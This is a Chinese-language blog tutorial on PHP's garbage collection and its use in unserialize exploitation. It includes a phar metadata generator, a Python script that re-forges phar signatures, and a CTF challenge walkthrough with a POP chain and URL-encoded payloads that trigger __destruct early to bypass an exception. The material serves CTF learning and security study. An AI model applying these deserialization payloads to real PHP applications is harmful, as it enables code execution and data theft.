Featured image of post PHP_GC垃圾回收机制

PHP_GC垃圾回收机制

PHP底层 GC 垃圾回收机制

PHP: 引用计数基本知识 - Manual

建议一定先看完 PHP官方手册的说明

简单理解为一个对象没有被引用的时候 就会被GC机制回收 在被回收的同时 会触发__destruct()方法 这是一个关键点~

refcount变量引用计数 is_ref是否被引用 bool值

调试工具Xdebug - Debugger and Profiler Tool for PHP 如果是小皮面板的话直接 php扩展开启就行了

PHP不同版本下GC机制有变化 以下环境为PHP 5.4.45模拟

PHP 深浅拷贝

在 PHP 中引用意味着用不同的名字访问同一个变量内容。这并不像 C 的指针:例如你不能对他们做指针运算,他们并不是实际的内存地址。替代的是,引用是符号表别名。注意在PHP 中,变量名和变量内容是不一样的,因此同样的内容可以有不同的名字。最接近的比喻是 Unix 的文件名和文件本身——变量名是目录条目,而变量内容则是文件本身。引用可以被看作是 Unix 文件系统中的硬链接

引用取消 则需要使用unset()只是断开了变量名和变量内容之间的绑定,并不是说变量内容被销毁了

深拷贝:

赋值时值完全复制对其中一个作出改变,不会影响另一个

在PHP5以上,对象的 = 赋值和传递都是引用(浅)。php提供了clone函数实现拷贝副本

直接把$a赋值给$b之后,$b修改并不会对$a任何影响,可以看到2次输出都是main1o

变量$a引用计数值refcount也为1,并且is_ref也是false

image-20221120132330657

对象的深拷贝 用clone函数拷贝出一个完全一样的对象,修改该对象,并不会影响原始对象

修改$a对象,只会对$b对象有影响,并不会对$c对象有任何影响

image-20221120134851985

浅拷贝:

赋值时,引用赋值,相当于取了一个别名。对其中一个修改,会影响另一个

使用&来使用自定义引用变量,我们对$a进行修改 直接影响了$b “main1o” –> “ikun”

就是$a$b都指向内存中的同一块地址

image-20221120140131873

反序列化中的作用

补充:

方法名 作用
__construct 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值
__destruct 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用 即对象被销毁触发!手动销毁为unset(Object)

手动销毁对象unset()触发了$a对象中的析构函数。提前输出了 1__destruct()

image-20221120144320001

还有对象引用被视为null 也会触发,这里举个例子

变量赋值都是 自右向左 所以数组中的第二个元素0 覆盖了对象失去了引用,那么就满足触发GC回收了。即触发__destruct

image-20221120150717356

Demo :

最后一行代码错误抛出异常,是无法触发__destruct 需要正常结束程序

那我们就可以通过上面介绍的触发GC机制 来绕过。这里将第二个索引置空。

image-20221120152723396

Payload:

1
a:2:{i:0;O:1:"B":0:{}i:0;i:0;}

image-20221120160431424 image-20221120160507716

GC Phar反序列化利用:

Phar反序列化,使用file_get_contents()函数,先按照正常流程去生成一个.phar文件

image-20221120161313572

生成步骤就不一一累述了,注意需要开启php.ini中的phar.readonly = Off

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php 
class test{public $code= "phpinfo();";}
$a = new test();
$c = array($a,0); 
$b = new Phar('1.phar',0);
$b->startBuffering();
$b->setMetadata($c);
$b->setStub("<?php __HALT_COMPILER();?>");
$b->addFromString("test.txt","test");
$b->stopBuffering();

由于生成的phar文件不能随意修改,否则签名不匹配。先按照原来的方法修改数组值,然后在通过脚本进行伪造签名。

使用16进制编辑器打开 可以看到i:1修改为i:0 保存

image-20221120162413824

exp.py

1
2
3
4
5
6
7
8
import gzip
from hashlib import sha1
with open(r"1.phar", "rb") as file:
    f = file.read() 
s = f[:-28] 
h = f[-8:] 
newf = s + sha1(s).digest() + h
open("2.phar","wb").write(newf)

接着使用phar:// 伪协议包含2.phar这个文件即可,成功执行了

image-20221120162937285

例题:

[ctf.show](https://ctf.show/challenges#easy unserialize-1806)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
include("./HappyYear.php");				// flag文件
class one {
    public $object;
 
    public function MeMeMe() {
        array_walk($this, function($fn, $prev){
            if ($fn[0] === "Happy_func" && $prev === "year_parm") {
                global $talk;
                echo "$talk"."</br>";
                global $flag;
                echo $flag;
            }
        });
    }
 
    public function __destruct() {
        @$this->object->add();
    }
 
 
    public function __toString() {
        return $this->object->string;
    }
}

class second {
    protected $filename;
 
    protected function addMe() {
        return "Wow you have sovled".$this->filename; 		// 字符和对象进行拼接 可以触发one()::__toString()
    }
 
    public function __call($func, $args) {
        call_user_func([$this, $func."Me"], $args);	 		// 接受不存在的属性名和值,拼接然后通过call_user_func() 函数调用内部
    }
}
 
 
class third {
    private $string;

    public function __construct($string) {
        $this->string = $string;
    }
 
 
    public function __get($name) {
        $var = $this->$name;	// $name为外部传的值
        $var[$name]();			// 数组调用类
    }
}
 
 
if (isset($_GET["ctfshow"])) {
    $a=unserialize($_GET['ctfshow']);
    throw new Exception("高一新生报道"); // 抛出异常会停止所有操作
} else {
    highlight_file(__FILE__);
}

POP链子:

one::__destruct => second::__call=> second::addMe => one::__toString => third::__get => one::MeMeMe

因为异常抛出的原因,需要通过gc垃圾回收提前触发析构函数(__destruct())

1
2
3
4
5
6
$a = new one();
$a->object = new second();
$a->object->filename = new one();
@$a->object->filename->object = new third(array("string" => [new one(), MeMeMe]));
$b = array($a, NULL);		// 置空数组
echo urlencode(serialize($b));

注意数组需要设置为0达到提前销毁对象的目的 触发gc垃圾回收,%3A1%3B –> %3A0%3B

1
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22thirdstring%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A1%3BN%3B%7D

改成:

1
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22thirdstring%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7Ds%3A6%3A%22object%22%3BN%3B%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7D%7D%7D%7Di%3A0%3BN%3B%7D

🔗参考链接

PHP新的垃圾回收机制 (yangxikun.com)

PHP的GC机制 - M1kael‘s Blog

浅析PHP GC垃圾回收机制及常见利用方式 - 先知社区 (aliyun.com)

Licensed under CC BY-NC-SA 4.0